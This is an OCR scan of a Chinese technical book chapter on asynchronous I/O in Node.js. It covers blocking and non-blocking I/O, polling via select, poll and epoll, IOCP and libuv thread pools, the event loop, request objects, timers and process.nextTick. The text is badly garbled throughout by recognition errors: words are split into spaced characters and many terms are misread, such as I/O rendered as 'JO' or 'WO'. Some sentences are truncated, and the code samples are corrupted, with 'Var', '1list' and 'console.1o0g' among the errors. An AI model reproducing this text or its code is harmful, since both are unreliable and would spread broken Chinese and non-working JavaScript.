级 缓存 到 网 络 的 数据 访问 所 需要 的 开销 。 
表 3-1 不 同 的 VO 类 型 及 其 对 应 的 开销 

IO 类 型 ”花费 的 CPU 时 钟 周 期 
CPU 一 级 缓存 3 
CPU 二 级 缓存 14 


内 存 250 
硬盘 41000000 
网 络 240000000 


这 就 是 异步 JO 在 Node 中 如 此 盛行 ， 甚 至 将 其 作为 主要 理念 进行 设计 的 
原因 。IO 是 昂贵 的 ， 分 布 式 UO 是 更 昂贵 的 。 

只 有 后 端 能 够 快速 响应 资源 ， 才 能 让 前 端的 体验 变 好 。 

3.1.2 ”资源 分 配 

排除 用 户 体 验 的 因素 ， 我 们 从 资源 分 配 的 层面 来 分 析 一 下 异步 W/O 的 必 
要 性 。 我 们 知道 计算 机 在 发 展 过 程 中 将 组 件 进行 了 抽象 ， 分 为 1/O 设 备 
和 计算 设备 。 

假设 业务 场景 中 有 一 组 互 不 相关 的 任务 需要 完成 ， 现 行 的 主流 方法 有 
以 下 两 种 。 


。 单线 程 串 行 依次 执行 。 
。 多 线程 并 行 完成 。 


如 琳 创 建 多 线程 的 开销 小 于 并 行 执行 ， 那 么 多 线程 的 方式 是 首选 的 。 
多 线程 的 代价 在 于 创建 线程 和 执行 期 线程 上 下 文 切换 的 开销 较 大 。 男 
外 ， 在 复杂 的 业务 中 ， 多 线程 编程 经 常 面临 锁 、 状 态 同步 等 问题 ， 这 
征 多 线程 被 诉 病 的 主要 原因 。 但 是 多 线程 在 多 核 CPU 上 能 够 有 效 握 升 
CPU 的 利用 率 ， 这 个 优势 是 毋庸 置疑 的 。 

单线 程 顺序 执行 任务 的 方式 比较 符合 编程 人 员 按 顺序 思考 的 思维 方 
式 。 它 依然 是 最 主流 的 编程 方式 ， 因 为 它 易于 表达 。 但 是 串 行 执行 的 
缺点 在 于 性 能 ， 任 意 一 个 略 慢 的 任务 都 会 导致 后 续 执 行 代码 被 阻塞 。 


在 计算 机 货源 中 ， 通 利 MO 与 CPU 计算 之 间 是 可 以 并 行进 行 的。 但 是 同 
步 的 编程 模型 导致 的 问题 是 ，1/O 的 进行 会 让 后 续 任务 等 每 ， 这 造成 次 
源 不 能 被 更 好 地 利用 。 

操作 系统 会 将 CPU 的 时 间 片 分 配给 其 余 进 程 ， 以 公平 而 有 效 地 利用 资 
源 ， 基 于 这 一 点 ， 有 的 服务 器 为 了 提升 啊 应 能 力 ， 会 通过 局 动 多 个 工 
作 进 程 来 为 更 多 的 用 户 服务 。 但 是 对 于 这 一 组 任务 而 言 ， 它 无 法 分 发 
任务 到 多 个 进程 上 ， 所 以 依然 无 法 高 效 利用 和 资源， 结束 所 有 任务 所 需 
的 时 间 将 会 较 长 。 这 种 模式 类 似 于 加 三 倍 服务 如 ， 达 到 占用 更 多 资源 
来 握 升 服务 速度 ， 它 并 没 能 真正 改善 问题 。 

添加 硬件 质 源 是 一 种 提升 服务 质量 的 方式 ， 但 它 不 是 唯一 的 方式 。 
单线 程 同步 编程 模型 会 因 阻 塞 JO 导 致 硬件 资源 得 不 到 更 优 的 使 用 。 多 
` 状态 同步 等 问题 让 开发 人 员 头 
并 。 


Node 在 两 者 之 间 给 出 了 它 的 方案 :利用 单线 程 ， 远 离 多 线程 死 锁 、 状 
态 同步 等 问题 ， 利 用 异步 WO， 让 单线 程 远离 阻塞 ， 以 更 好 地 使 用 
CPU 。 

异步 JO 可 以 算 作 Node 的 特色 ， 因 为 它 是 首 个 大 规模 将 异步 JO 应 用 在 
应 用 层 上 的 平台 ， 它 力求 在 单线 程 上 将 资源 分 配 得 更 高 效 。 

为 了 弥补 单线 程 无 法 利用 多 核 CPU 的 缺点 ，Node 提 供 了 类 似 前 端 浏览 
右 中 Web Workers 的 子 进程 ， 该 子 进程 可 以 通过 工作 进程 高 将 地 利用 
CPU 和 IO。 这 部 分 内 容 将 在 第 9 章 中 详 述 。 

异步 0 的 提出 是 期 望 JO 的 调用 不 再 阻塞 后 续 运 算 ， 将 原 有 等 待 IO 完 
成 的 这 段 时 间 分 配给 其 余 需要 的 业务 去 执行 。 

图 3-1 为 异步 1/O 的 调用 示意 图 。 


d 


图 3.1 异步 /0 的 调用 示意 图 


3.2 “异步 IO 实现 现状 

异步 IJO 在 Node 中 应 用 最 为 广泛 ， 但 是 它 并 非 Node 的 原创 。 

如 同 Brendan Eich 援 引 18 世 纪 英 国文 学 家 约翰 逊 所 说 , “ 它 的 优秀 之 处 并 非 
原创 ， 它 的 原创 之 处 并 不 优秀 ”， 以 之 评价 他 目 己 创造 的 JavaScript 一 样 ， 
。 下面 我 们 看 看 操作 系统 对 异步 IO 实现 的 支 
寺 状 况 。 

3.2.1 “异步 0 与 非 阻塞 7O 

在 听 到 Node 的 介绍 时 ， 我 们 时 常会 听 到 异步 、 非 阻塞 、 回 调 、 事 件 这 些 
词语 混合 在 一 起 推介 出 来 ， 其 中 异步 与 非 阻塞 听 起 来 似乎 是 同一 回 事 。 
从 实际 效果 而 言 ， 异 步 和 非 阻 塞 都 达到 了 我 们 并 行 WO 的 目的 。 但 是 从 计 
算 机 内 核 VO 而 言 ， 异 步 / 同 步 和 阻塞 / 非 阻塞 实际 上 是 两 回 事 。 

操作 系统 内 核对 于 MO 只 有 两 种 方式 : 阻塞 与 非 阻塞 。 在 调用 阻塞 VO 时 ， 
应 用 程序 需要 等 待 JO 完 成 才 返 回 结果 ， 如 图 3-2 所 示 。 

阻塞 IO 的 一 个 特点 是 调用 之 后 一 定 要 等 到 系统 内 核 层 面 完成 所 有 操作 
后 ， 调 用 才 结束 。 以 读 取 磁盘 上 的 一 段 文 件 为 例 ， 系 统 内 核 在 完成 磁盘 
寻 道 、 读 取 数 据 、 复 制 数据 到 内 存 中 之 后 ， 这 个 调用 才 结 束 。 

阻塞 IO 造成 CPU 等 待 TO， 良 费 等 待 时 间 ，CPU 的 处 理 能 力 不 能 得 到 充分 
利用 。 为 了 提高 性 能 ， 内 核 提 供 了 非 阻 塞 /O。 非 阻塞 1/O 跟 阻塞 W/O 的 差 
别 为 调用 之 后 会 立即 返回 ， 如 图 3-3 所 示 。 


系统 内 术 


一 一 一 阻塞 调用 一 一 


等 待 数 据 i 
返回 数据 一 一 一 


图 3-2 调用 阻塞 /O 的 过 程 


操作 系统 对 计算 机 进行 了 抽象 ， 将 所 有 输入 输出 设备 抽象 为 文件 。 
内 核 伍 进行 文件 IO 操作 时 ， 通 过 文件 描述 符 进 行 管理 ， 而 文件 描述 
符 类 似 于 应 用 程序 与 系统 内 核 之 问 的 插 证 。 应 用 程序 如 果 需 要 进行 
TO 调用 需要 先 打 开 文 件 描述 符 ， 然 后 再 根据 文件 描述 符 去 实现 文 
件 的 数据 读 写 。 此 处 非 阻塞 /0 与 阻塞 /0 的 区 别 在 于 阻塞 /O 完 成 整 
个 获取 数据 的 过 程 ， 而 非 阻 塞 WO 则 不 带 数 据 直 接 返 回 ， 要 获取 数 
据 ， 还 需要 通过 文件 描述 符 再 次 读 取 。 


系统 内 术 


一 一 非 阻塞 调用 一 一 一 


= 一 一 立即 返回 


图 3-3 ”调用 非 阻塞 VO 的 过 程 

韭 阻塞 W/O 返回 之 后 ，CPU 的 时 间 片 可 以 用 来 处 理 其 他 事务 ， 此 时 的 性 能 
提升 是 明显 的 。 

但 非 阻塞 WO 也 存在 一 些 问题 。 由 于 完整 的 /O 并 没有 完成 ， 立 即 返 回 的 并 
不 是 业务 层 期 望 的 数据 ， 而 仅仅 是 当前 调用 的 状态 。 为 了 获取 完整 的 数 
据 ， 应 用 程序 需要 重复 调用 MO 操作 来 确认 是 否 完成 。 这 种 重复 调用 判断 
操作 是 否 完 成 的 技术 叫做 轮 询 ， 下 面 我 们 就 来 简要 介绍 这 种 技术 。 

任意 技术 都 并 非 完 美的 。 阻 塞 JO 造 成 CPU 等 待 浪 费 ， 非 阻塞 带 来 的 厅 虎 
却 是 需要 轮 询 去 确认 是 否 完全 完成 数据 获取 ， 它 会 让 CPU 处 理 状态 判断 ， 
是 对 CPU 资源 的 浪费 。 这 里 我 们 且 看 轮 询 技术 是 如 何 演进 的 ， 以 减 小 MO 
状态 判断 的 CPU 损耗 。 

现存 的 轮 询 技术 主要 有 以 下 这 些 。 


read。 它 是 最 原始 、 人 性 能 最 低 的 一 种 ， 通 过 重复 调用 来 检查 IO 
整数 据 的 读 取 。 在 得 到 最 终 数 据 前 ，CPU 一 直 耗 
待 上 。 图 3-4 为 通过 read 进 行 轮 询 的 示意 图 。 


| 


一 一 非 阻塞 调 用 一 一 ~ 
read 
一 ~ 一 一 立即 返回 一 一 
一 一 非 阻 塞 调用 一 一 ~ 一 
read 


-一 一 立即 返回 一 一 上 


一 一 非 阻 塞 调用 | 
read 
| 立即 返回 | 


图 3-4 ”通过 read 进 行 轮 询 的 示意 图 
select。 它 是 在 read 的 基础 上 改进 的 一 种 方案 ， 通 过 对 文件 摘 述 


Cn 图 3-5 为 通过 select 进 行 轮 询 的 示意 
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-一 一 非 阻塞 调用 一 一 


read 
同一 一 一 盖 


一 一 调用 一 一 


select 


~ 一 数据 读 取 完成 一 一 中 


一 一 非 阻 塞 调用 一 一 ~ 
read | 
返回 数据 一 一 一 一 


图 3-5 ”通过 select 进 行 轮 询 的 示意 图 
select 轮 询 具 有 一 个 较 弱 的 限制 ， 那 就 是 由 于 它 采 用 一 个 1024 长 
I 所 以 它 最 多 可 以 同时 检查 1024 个 文件 描 
述 符 。 

poll。 该 方案 较 select 有 所 改进 ， 采 用 链表 的 方式 避免 数组 长 度 的 
限制 ， 其 次 它 能 避免 不 需要 的 检查 。 但 是 当 文件 描述 符 较 多 的 
时 候 ， 它 的 性 能 还 是 十 分 低下 的 。 图 3-6 为 通过 pol 实 现 轮 询 的 示 
意图 ， 它 与 select 相 似 ， 但 性 能 限制 有 所 改善 。 


系统 内 核 


一 一 非 阻 塞 调用 一 一 ~ 


read 


poll 


< 一 一 数据 读 取 完 成 一 一 


一 一 非 阻塞 调 用 一 ~ 
read | 
一 -一 一 返回 数据 一 一 一 


图 3-6 ”通过 poll 实 现 轮 询 的 示意 图 
epoll。 该 方案 是 Linux 下 效率 最 高 的 1/O 事 件 通 知 机 制 ， 在 进入 轮 
询 的 时 候 如 果 没 有 检查 到 IO 事件 ， 将 会 进行 休眠 ， 直 到 事件 发 
生 将 它 唤醒 。 它 是 真实 利用 了 事件 通知 、 执 行 回 调 的 方式 ， 而 
不 是 遍历 查询 ， 所 以 不 会 浪费 CPU， 执 行 效率 较 高 。 图 3-7 为 通 
过 epol] 方 式 实 现 轮 询 的 示意 图 。 


-一 一 非 阻 塞 调用 一 一 > 


read 
et 立即 返回 ee 
-一 调用 
epoll 休眠 
消息 
一 一 非 阻塞 调用 一 ~ 一 
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图 3-7 通过 epoll 方 式 实现 轮 询 的 示意 图 
。 kqueue。 该 方案 的 实现 方式 与 epoll 类 似 ， 不 过 它 仅 在 FreeBSD 系 
统 下 存在 。 


轮 询 技术 满足 了 非 阻 塞 JO 确 保 获 取 完 整数 据 的 需求 ， 但 是 对 于 应 用 程序 
而 言 ， 它 仍然 只 能 算是 一 种 同步 ， 因 为 应 用 程序 仍然 需要 等 待 WO 完 全 返 
回 ， 依 旧 花 费 了 很 多 时 间 来 等 待 。 等 待 期 间 ，CPU 要 么 用 于 遍历 文件 描述 
符 的 状态 ， 要 么 用 于 休 眼 等 待 事件 发 生 。 结 论 是 它 不 够 好 。 

3.2.2 ”理想 的 非 阻塞 异步 IO 

尽管 epoll 已 经 利用 了 事件 来 降低 CPU 的 耗 用 ， 但 是 休 眼 期 间 CPU 几 乎 是 闲 
置 的 ， 对 于 当前 线程 而 言 利用 率 不 够 。 那 么 ， 是 否 有 一 种 理想 的 异步 IO 


呢 ? 

我 们 期 望 的 完美 的 异步 WO 应 该 是 应 用 程序 发 起 非 阻 塞 调用 ， 无 须 通 过 所 
历 或 者 事件 唤醒 等 方式 轮 询 ， 可 以 直接 处 理 下 一 个 任务 ， 只 需 在 IO 完成 
后 通过 信和 号 或 回调 将 数据 传递 给 应 用 程序 即 可 。 图 3-8 为 理想 中 的 异步 1JO 


不 意 狗 。 


系统 内 术 


一 一 一 非 阻 塞 调用 一 一 ~ 
异步 方法 


< 一 一 一 并 妈 返 回 


其 他 操作 
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图 3-8 ”理想 中 的 异步 IO 示意 图 

幸运 的 是 ， 在 Linux 下 存在 这 样 一 种 方式 ， 它 原生 提供 的 一 种 异步 IO 方式 
(AIO) 就 是 通过 信号 或 回调 来 传递 数据 的 。 

但 不 辛 的 是 ， 只 有 Linux 下 有 ， 而 且 它 还 有 缺陷 一 一 AIO 仪 支持 内 核 VO 中 
的 o_prEcT 方 式 读 取 ， 导 致 无 法 利用 系统 缓存 。 


3.2.3 ”现实 的 异步 IO 


现实 比 理想 要 骨 感 一 些 ,但 是 要 达成 异步 W/O 的 目标 ， 并 非 难 事 。 前 面 我 
们 将 场景 限定 在 了 单线 程 的 状况 下 ， 多 线程 的 方式 会 是 另 一 番 风 景 。 通 


过 让 部 分 线程 进行 阻塞 1O 或 者 非 阻 蹇 TO 加 轮 询 技术 来 完成 数据 获取 ， 让 
一 个 线程 进行 计算 处 理 ， 通 过 线程 之 间 的 通信 将 MO 得 到 的 数据 进行 传 
递 ， 这 就 轻松 实现 了 腊 步 JO 〈 尽 管 它 是 模拟 的 ) ， 示 意图 如 图 3-9 所 示 。 


IO 调用 


IO 调用 


DA 


MI 


图 3-9 ”异步 VO 

glibc 的 AIO 便 是 典型 的 线程 池 模 拟 异 步 WO。 然 而 遗憾 的 是 ， 它 存在 一 些 
难以 忍受 的 缺陷 和 bug， 不 推荐 采用 。libev 的 作者 Marc Alexander 
Lehmann 重 新 实现 了 一 个 异步 W/O 的 库 libeio。libeio 实 质 上 依然 是 采用 线 
程 江 与 阻塞 VO 模拟 异步 1JO。 最 初 ，Node 在 *nix 平 台 下 采用 了 libeio 配 合 
libev 实 现 1/O 部 分 ， 实 现 了 异步 /JO。 在 Node v0.9.3 中 ， 自 行 实现 了 线程 池 
来 完成 异步 JO。 

另 一 种 我 迟 迟 没有 透露 的 异步 IO 方案 则 是 Windows 下 的 IOCP， 它 在 某 种 
程度 上 提供 了 理想 的 异步 WO: 调用 异步 方法 ， 等 每 WO 完成 之 后 的 通知 ， 
执行 回调 ， 用 户 无 须 考 虑 轮 询 。 但 是 它 的 内 部 其 实 仍然 是 线程 池 原 理 ， 
不 同 之 处 在 于 这 些 线程 池 由 系统 内 核 接手 管理 。 

IOCP 的 异步 IO 模型 与 Node 的 异步 调用 模型 十 分 近似 。 在 Windows 平 台 下 
采用 了 IOCP 实 现 异步 /O 。 

由 于 Windows 平 台 和 *nix 平 台 的 差异 ，Node 提 供 了 libuv 作 为 抽象 封装 层 ， 
使 得 所 有 平台 兼容 性 的 判断 都 由 这 一 层 来 完成 ， 并 保证 上 层 的 Node 与 下 
层 的 自 定 义 线程 池 及 IOCP 之 间 各 自 独 立 。Node 在 编译 期 间 会 判断 平台 条 


件 ， 选 择 性 编译 unix 目 录 或 是 win 目 录 下 的 源 文 件 到 目标 程序 中 ， 其 架构 
如 图 3-10 所 示 。 


*n1X Windows 


图 3-10 ”基于 libuv 的 架构 示意 图 
需要 强调 一 点 的 是 ， 这 里 的 MO 不 仅仅 只 限于 磁盘 文件 的 读 写 。*nix 将 计 


算 机 抽象 了 一 番 ， 人 磁盘 文件 、 硬 件 、 套 接 字 等 几乎 所 有 计算 机 资源 都 被 
抽象 为 了 文件 ， 因此 这 里 描述 的 阻塞 和 非 阻 蹇 的 情况 同样 能 适合 于 套 接 


= 

另 一 个 需要 强调 的 地 方 在 于 我 们 时 常 提 到 Node 是 单线 程 的 ， 这 里 的 单线 
程 仅 仅 只 是 JavaScript 执 行 在 单线 程 中 巡 了 。 在 Node 中 ， 无 论 是 *nix 还 是 
Windows 平 台 ， 内 部 完成 WO 任务 的 男 有 线程 池 。 


3.3 ”Node 的 异步 7O 

介绍 完 系统 对 异步 1/O 的 支持 后 ， 我 们 将 继续 介绍 Node 是 如 何 实现 异步 
1/O0 的 。 这 里 我 们 除了 介绍 导 步 WO 的 实现 外 ， 还 将 讨论 Node 的 执行 模 
型 。 完 成 整个 异步 WO 环节 的 有 事件 循环 、 观 察 者 和 请 求 对 象 等 。 
3.3.1 事件 循环 

首先 ， 我 们 着 重 强调 一 下 Node 自 身 的 执行 模型 一 一 事件 循环 ， 正 是 它 
使 得 回调 函数 十 分 普遍 。 

在 进程 启动 时 ，Node 便 会 创建 一 个 类 似 于 wnize(true) 的 循环 ， 每 执行 一 
次 循环 体 的 过 程 我 们 称 为 Tick。 每 个 Tick 的 过 程 就 是 查看 是 否 有 事件 
待 处 理 ， 如 果 有 ， 就 取出 事件 及 其 相关 的 回调 函数 。 如 果 存 在 关联 的 
回调 函数 ， 就 执行 它们 。 然 后 进入 下 个 循环 ， 如 果 不 再 有 事件 处 理 ， 
就 退出 进程 。 流 程 图 如 图 3-11 所 示 。 


还 有 事件 ? 否 
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1 
取出 一 个 事件 


事件 循环 


图 3-11 ” ”Tick 流程 图 


3.3.2 ”观察 者 

在 每 个 Tick 的 过 程 中 ， 如 何 判 断 是 否 有 事件 需要 处 理 呢 ? 这 里 必须 要 
引入 的 概念 是 观察 者 。 每 个 事件 循环 中 有 一 个 或 者 多 个 观察 者 ， 而 判 
ee 事件 要 处 理 的 过 程 就 是 向 这 些 观察 者 询问 是 否 有 要 处 理 的 事 


这 个 过 程 束 如 同 饭馆 的 厨房 ， 厨 房 一 轮 一 轮 地 制作 菜 大 ， 但 是 要 具体 
制作 哪些 彝 看 取决 于 收银 台 收 到 的 客人 的 下 单 。 厨 房 每 做 完 一 轮 采 
看 ， 吏 去 问 收银 人 台 的 小 妹 ， 接 下 来 有 没有 要 做 的 菜 ， 如 果 没 有 的 话 ， 


束 下 班 打 料 了 。 在 这 个 过 程 中 ， 收 银 台 的 小 妹 就 是 观察 者 ， 她 收 到 的 
客人 点 单 束 是 关联 的 回调 函数 。 当 然 ， 如 果 饭 饮 经 营 有 方 ， 它 可 能 
多 个 收银 员 ， 束 如 同事 件 循环 中 有 多 个 观察 者 一 样 。 收 到 下 单 束 是 一 
个 事件 ， 一 个 观察 者 里 可 能 有 多 个 事件 。 

浏 贤 絮 采用 了 类 似 的 机 制 。 事 件 可 能 来 自用 户 的 点 击 或 者 加 载 某 些 文 
件 时 产生 ， 而 这 些 产生 的 事件 都 有 对 应 的 观察 者 。 在 Node 中 ， 事 件 主 
要 来 产 于 网 络 请 求 、 文 件 UO 等 ， 这 些 事件 对 应 的 观察 者 有 文件 IO 观 
察 者 、 网 络 IO 观察 者 等 。 观 察 者 将 事件 进行 了 分 类 。 

事件 循环 是 一 个 典型 的 生产 者 /消费 者 模型 。 异 步 JO、 网 络 请 求 等 则 
古事 件 的 生产 者 ， 源 源 不 断 为 Node 提 供 不 同 类 型 的 事件 ， 这 些 事件 被 
人 
J 图。 


在 Windows 下， 这 个 循环 基于 IOCP 创 建 ， 而 在 *nix 下 则 基于 多 线程 创 
建 。 


3.3.3 ”请 求 对 象 

在 这 一 节 中 ， 我 们 将 通过 解释 Windows 下 异步 JO (利用 IOCP 实 现 ) 的 

简单 例子 来 探寻 从 JavaScript 代 码 到 系统 内 核 之 间 都 发 生 了 什么 。 

对 于 一 般 的 〈 非 异步 ) 回调 函数 ， 函 数 由 我 们 目 行 调用 ， 如 下 所 示 : 
Var forEach = function (list, callback) { 


for (var i = 0; i < list.length; i++) { 
callback(1list[i], i, list); 


}; 


对 于 Node 中 的 异步 JO 调 用 而 言 ， 回 调 函 数 却 不 由 开发 者 来 调用 。 那 么 
从 我 们 发 出 调用 后 ， 到 回调 函数 被 执行 ， 中 间 发 生 了 什么 呢 ? 事实 
上 ， 从 JavaScript 发 起 调用 到 内 核 执行 完 7O 操 作 的 过 渡 过 程 中 ， 存 在 一 
种 中 间 产 物 ， 它 叫做 请 求 对 象 。 

下 面 我 们 以 最 简单 的 fs.open() 方 法 来 作为 例子 ， 探 索 Node 与 底层 之 间 是 
如 何 执行 异步 JO 调 用 以 及 回调 函数 究竟 是 如 何 被 调用 执行 的 : 


fs.open = function(path, flags, mode, callback) { 
WA 


binding.open(pathModule. makeLong(path), 
stringToFlags(flags), 


a 
}; 
fs.open() 的 作用 是 根据 指定 路 径 和 参数 去 打开 一 个 文件 ， 从 而 得 到 一 个 
文件 描述 符 ， 这 是 后 续 所 有 IO 操作 的 初始 操作 。 从 前 面 的 代码 中 可 以 


看 到 ，JavaScript 层 面 的 代码 通过 调用 C++ 核心 模块 进行 下 层 的 操作 。 


lib/fs.is 


fs.open() 


图 3-12 为 调用 示意 图 。 
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uv_fs open() 
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uv_fs open() 
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图 3-12 调用 示意 图 

从 JavaScript 调 用 Node 的 核心 模块 ， 核 心 模 块 调用 C++ 内 建 模块 ， 内 建 
模块 通过 libuv 进 行 系统 调用 ， 这 是 Node 里 经 典 的 调用 方式 。 这 里 libuv 
作为 封装 层 ， 有 两 个 平台 的 实现 ， 实 质 上 是 调用 了 uv_ fs_open() 方 法 。 在 
uv_fs_open(0) 的 调用 过 程 中 ， 我 们 创建 了 一 个 Fseqwrap 请 求 对 象 。 从 
JavaScript 层 传 入 的 参数 和 当前 方法 都 被 封 效 在 这 个 请 求 对 象 中 ， 其 中 
我 们 最 为 关注 的 回调 函数 则 被 设置 在 这 个 对 象 的 oncomplete_syn 属 性 上 : 


req_wrap->object_->Set(oncomplete_sym, callback); 


对 象 包 装 完毕 后 ， 在 Windows 下 ， 则 调用 wueueuserworkiten() 方 法 将 这 个 
FsReqwrap 对 象 推 入 线程 池 中 等 待 执行 ， 该 方法 的 代码 如 下 所 示 : 

QueueUserworkItem(&uv_fs_thread_proc， \ 

eT 

Queueuserworkiten() 方 法 接受 3 个 参数 : 第 一 个 参数 是 将 要 执行 的 方法 的 引 
用 ， 这 里 引用 的 是 uv_fs_thread_proc ， 第 二 个 参数 是 ww_fs_thread_proc 方 法 运 
行 时 所 需要 的 参数 ;第 三 个 参数 是 执行 的 标志 。 当 线程 池 中 有 可 用 线 
程 时 ， 我 们 会 调用 msessenresueagaam 方 和 BE 
a i | 久 wvatssosemy 为 例 |， 实际 上 调用 
fs open() 号 
至 此 ，JavaScript 调 用 立即 返回 ， 由 JavaScript 层 面 发 起 的 异步 调用 的 第 
一 阶段 就 此 结束 。JavaScript 线 程 可 以 继续 执行 当前 任务 的 后 续 操 作 。 
当前 的 IO 操作 在 线程 池 中 等 待 执行， 不 管 它 是 否 阻塞 TO ， 都 不 会 影 
咯 到 JavaScript 线 程 的 后 续 执 行 ， 如 此 就 达到 了 异步 的 目的 。 
请 求 对 象 是 异步 JO 过 程 中 的 重要 中 间 产 物 ， 所 有 的 状态 都 保存 在 这 个 
对 象 中 ， 包 括 送 入 线程 池 等 待 执行 以 及 MO 操作 完毕 后 的 回调 处 理 。 
3.3.4 ”执行 回调 
组 装 好 请 求 对 象 、 送 入 1O 线 程 池 等 待 执行 ， 实 际 上 完成 了 异步 IO 的 
第 一 部 分 ， 回 调 通知 是 第 二 部 分 。 
线程 池 中 的 IO 操作 调用 完毕 之 后 ， 会 将 获取 的 结果 储存 在 req->resuat 属 
性 上 ， 然后 调用 postoueuedcompletionstatus() 通 知 JOCP， 告知 当前 对 象 操作 
已 经 完成 : 


PostQueuedCcompJletionStatus((lLoop)->iocp，0，0，&(C(Cred)->overJlapped) ) 


PostQueuedcompletionstatus() 方 法 的 作用 是 向 IOCP 提 交 执 行 状 态 ， 并 将 线程 
归还 线程 池 : 通过 postoueuedaconpzetionstatis@j 方 法 提交 的 状态 ， 可 以 通过 
CEEOL 有 

在 这 个 过 程 中 ， 我 们 其 实 还 动用 了 事件 循环 的 MO 观察 者 。 在 每 次 Tick 
的 执行 中 ， 它 会 调用 IOCP 相 关 的 setoueuedcompletionstatus() 方 法 检查 线程 
池 中 是否 有 执行 完 的 请 求 ， 如 果 人 存在 ， 会 将 请 求 对 象 加 入 到 IO 观察 者 
的 队列 中 ， 然 后 将 其 当做 事件 处 理 。 

1/O 观 察 者 回调 范 数 的 行为 就 是 取出 请 求 对 象 的 result 属 性 作为 参数 ， 取 
出 oncomplete_sym 属 性 作为 方法 ， 然 后 调用 执行 ， 以 此 达到 调用 JavaScript 
中 传 入 的 回调 函数 的 目的 。 


至 此 ， 整 个 异步 1/O 的 流程 完全 结束 ， 如 图 3-13 所 示 。 


执行 请 求 对 象 从 1/O 观 察 者 取 到 
中 的 W/O 操作 可 用 的 请 求 对 象 


将 执行 完成 的 结果 取出 回调 函数 和 


放 在 请 求 对 象 中 结果 调用 执行 


将 请 求 对 象 放 入 ， 
求 对 象 放 入 完成 的 I/O 
线程 池 等 待 执行 全 


图 3-13 ”整个 异步 IO 的 流程 

事件 循环 、 观 察 者 、 请 求 对 象 、1/O 线 程 池 这 四 者 共同 构成 了 Node 异 步 
IO 模型 的 基本 要 素 。 

Windows 下 主要 通过 IOCP 来 向 系统 内 核发 送 MO 调 用 和 从 内 核 获 取 已 完 
成 的 IO 操作 ， 配 以 事件 循环 ， 以 此 完成 异步 JO 的 过 程 。 在 Linux 下 通 
过 epoll 实 现 这 个 过 程 ，FreeBSD 下 通过 kqueue 实 现 ，Solaris 下 通过 
Event ports 实 现 。 不 同 的 是 线程 池 在 Windows 下 由 内 核 (IOCP) 直接 
提供 ，*nix 系 列 下 由 libuv 目 行 实现 。 

3.3.5 “小 结 

从 前 面 实现 异步 IO 的 过 程 朱 述 中 ， 我 们 可 以 提取 出 异步 0 的 几 个 关 
键 词 : 单线 程 、 事 件 循 环 、 观 察 者 和 IO 线程 池 。 这 里 单线 程 邱 MO 线 


程 池 之 间 看 起 来 有 些 悖 论 的 样子 。 由 于 我 们 知道 JavaScript 是 单线 程 
的 ， 所 以 按 常 识 很 容易 理解 为 它 不 能 充分 利用 多 核 CPPU。 事 实 上 ,在 
Node 中 ， 除 了 JavaScript 是 单线 程 外 ，Node 自 号 其 实 是 多 线程 的 ， 只 是 
IO 线程 使 用 的 CPU 较 少 。 另 一 个 需要 重视 的 观点 则 是 ， 除 了 用 户 代 码 
所 有 的 IO (磁盘 IO 和 网 络 VO 等 ) 则 是 可 以 并 行 起 


3.4” 非 VO 的 异步 API 

尽管 我 们 在 介绍 Node 的 时 候 ， 多 数 情况 下 都 会 提 到 异步 JO ， 但 是 
Node 中 其 实 还 存在 一 些 与 IO 无 关 的 异步 API， 这 一 部 分 也 值得 略微 天 
注 下 5 至 们 全 别 | 是 setTimeout() 、 setInterval() 、 setImmediate() 和 


process .nextTick() ” 


3.4.1 定时 器 

Se li 二 汶 | 伯 有 中 的 API 是 一 致 的 ) 分 别 用 于 单 次 和 
多 次 定时 执行 任务 。 它 们 的 实现 原理 与 异步 WO 比较 类 似 ， 只 是 不 需要 
1/O 线 程 池 的 参与 。 调 用 settimeout() 或 者 setinterval() 创 建 的 定时 铝 会 锌 搬 
入 到 定时 器 观察 者 内 部 的 一 个 红 黑 树 中 。 每 次 Tick 执 行 时 ， 会 从 该 红 
黑 树 中 交代 取出 定时 器 对 象 ， 检 查 是 否 超过 定时 时 间 ， 如 果 超 过 ， 就 
形成 一 个 事件 ， 它 的 回调 函数 将 立即 执行 。 

图 3-14 提 到 的 主要 是 settimeout() 的 行为 2 setInterval() 与 之 相同 ， 区 别 在 
于 后 者 是 重复 性 的 检测 和 执行 。 

定时 器 的 问题 在 于 ， 它 并 非 精确 的 〈 在 容忍 范围 内 ) 。 尽 管事 件 循 环 
十 分 快 ， 但 是 如 果 某 一 次 循环 占用 的 时 间 较 多 ， 那 么 下 次 循环 时 ， 它 
也 许 已 经 超时 很 人 了 。 璧 如 通过 setrineout0 设 定 一 个 任务 在 10 宣 秒 后 执 
行 ， 但 是 在 9 又 秒 后 ， 有 一 个 任务 占用 了 5 晕 秒 的 CPU 时 间 片 ， 再 次 轮 
到 定时 器 执行 时 ， 时 间 台 已 经 过 期 4 襄 秒 。 


setTimeout() F 件 了 timer handles 


setTimeout() 


生成 定时 器 


ha 从 handles 中 移 除 


图 3-14 setTimeout() 的 行为 
3.4.2 process.nextTick() 


在 未 了 解 process.nexttick() 之 前 ， 很 多 人 也 许 为 了 立即 异步 执行 一 个 任 
务 ， 会 这 样 调用 setTimeout() 来 达到 所 需 的 效果 : 


setTimeout(function () { 
// TODO 


}, 0); 


由 于 事件 循环 自身 的 特点 ， 定 时 器 的 精确 度 不 够 。 而 事实 上 ， 采 用 定 
时 器 需要 动用 红 黑 树 ， 创 建 定时 器 对 象 和 迄 代 等 操作 ， 而 setrineout (rn 
9) 的 方式 较为 浪费 性 能 。 实 际 上 ，precess neerick() 方 法 的 操作 相对 较为 
轻 量 ， 具 体 代码 如 下 : 


process.nextTick = function(callback) { 
// on the way out, don't bother. 
// it won't get fired anyway 
if (process. exiting) return; 


if (tickDepth >= process.maxTickDepth) 
maxTickwarn( ); 


var tock = { callback: callback }; 

If (process.domain) tock.domain = process.domain; 
nextTickQueue.push(tock); 

if (nextTickQueue.length) { 


process._needTickCallback(); 


}; 


每 次 调用 process.nextTick() 方 法 ， 只 会 将 回调 函数 放 入 队列 中 ， 在 = 
Tick 时 取出 执行 。 定 时 器 中 采用 红 黑 树 的 操作 时 间 复 光度 为 og0n))， 
nextTickU 的 时 间 复 杂 度 为 od) 相 较 之 下 ， a 8 
3.4.3 setImmediate() 

SetImmediate( 广 污 与 process ,nextTick( 方法 十 分 类 似 gy 都 是 将 回调 函数 延迟 
执行 3 在 Node Vv0.9.1 之 前 ， se} 有 SE， 那 上 时候 实现 类 似 
的 功能 主要 是 通过 process.nextTick() 来 完成 ， 该 方法 的 代码 如 下 所 示 : 


process.nextTick(function () { 
console.1o0g(' 延 迟 执行 ' )， 


}); 
